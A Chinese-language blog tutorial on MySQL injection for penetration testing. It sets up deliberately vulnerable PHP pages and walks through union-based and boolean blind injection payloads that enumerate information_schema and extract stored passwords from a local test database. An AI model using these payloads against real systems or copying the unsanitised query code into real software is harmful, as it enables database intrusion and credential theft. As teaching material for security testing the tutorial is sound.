sql

渗透测试MySql注入(一)

2019-08-12  本文已影响0人  Dale丶
一、SQL注入条件
二、MySQL注入知识点

在mysql5.0之后默认存在一个information_schema数据库,该数据库中有三个表特别重要,分别为:SCHEMATA表、TABLES表、COLUMNS表。

三、union注入
在Navicat中创建一个数据库并填入相关的表数据 数据库

编写union注入代码:

<?php
$con = mysqli_connect('localhost','root','root');//选择数据库
mysqli_select_db($con,'test');//选择表
if(mysqli_connect_error()){
    echo "连接失败:".mysqli_connect_error();//要是连接失败就给提醒
}
$id = $_GET['id'];
$res = mysqli_query($con,"select * from user where `id` = ".$id );//执行SQL语句
$row = mysqli_fetch_array($res);//将mysql处理结果转换为数组
echo $row['user'] . ":" . $row['address'];//向前端显示数组值
echo "<br>";
?>
union注入

现在可以进行SQL注入了

1.判断是否存在注入:and 1=1 union注入 and 1=2 union注入 发现存在存在注入,使用order by 语句查看当前表存在的字段数: image.png 发现存在4个字段,进行union注入: image.png 发现第二个字段和第四个字段存在回显,'-1'是让显示在语句不出错的情况下显示union select 之后的内容,接下来进行查看当前用户和当前数据库: union 注入 查看表名: union 注入 查看列名: union 注入 通过limit x,1 对列名进行遍历: union 注入 union 注入 得到Password字段,对该字段进行读取: union 注入 利用limit x,1遍历其他用户和密码: union 注入 union 注入
五、Boolean 注入攻击

编写boolean注入代码:

<?php
$con = mysqli_connect('localhost','root','root');
mysqli_select_db($con,'test');
if(mysqli_connect_error()){
    echo "连接失败:".mysqli_connect_error();
}
$id = $_GET['id'];
if(preg_match("/union|sleep|benchmark/i",$id)){
echo "no";
}
$res = mysqli_query($con,'select * from user where `id` = '.$id);
$row = mysqli_fetch_array($res);
if($row){
    echo "yes";
}else{
    echo "no";
}
?>
//以上代码过滤了关键字,且只回显‘yes’或者‘no’

此时无法进行union注入,可以进行bool注入
判断是否存在SQL注入:

bool 注入 and 1=2显示no:
bool 注入 说明存在SQL注入,因为是要bool 注入 故首先判断当前数据库的长度
payload:and length(database())>0
bool注入 boolean注入 boolean注入 证明数据库名为4位,接下来对每一位进行获取:
payload:and ascii(substr(database(),1,1))>1
bool注入 用二分法确定ascii值的区间再采用burp进行爆破,很快就能确定所有位。 bool注入 bool 注入 可以看出第一位的ascii值为116-》't',依次往下执行得到最后的数据库名为'test',接下来去查看该数据库有多少表:
payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=1 bool 盲注 payload:and (select count(table_name) from information_schema.tables where table_schema = database() limit 0,1)=2 bool 盲注 说明存在一个表,接下来查看第一个表的长度:
payload:and length(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1))=4 bool 盲注 说明表名是4位,接下来开始爆破表名得每一位:
payload:and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1))>0 bool 盲注 说明第一位是ascii是117-》'u',以此类推得到表名为'user',接下来查看表中有多少列,然后以此查看列名的长度位数和列名:
查看有多少列: 
and (select count(column_name) from information_schema.columns where table_schema = 'test' and table_name = 'user' limit 0,1)>3 
说明存在4列,查看第一列列名长度:
and length(substr((select column_name from information_schema.columns where table_schema='test' and table_name = 'user' limit 0,1),1))=2
变换limit x,1可以遍历出所有列名的长度,接下来爆破第一列的第一位:
and ascii(substr((select column_name from information_schema.columns where table_schema='test' and table_name='user' limit 0,1),1,1))>0
进行爆破后得出每一列的列名···
接下来提取数据:
and ascii(substr((select Password from user limit 0,1),1,1))=49
变换substr(x,y,1)中的y值一次爆破出数据···
最后得到整个数据库中的内容
上一篇下一篇

猜你喜欢

热点阅读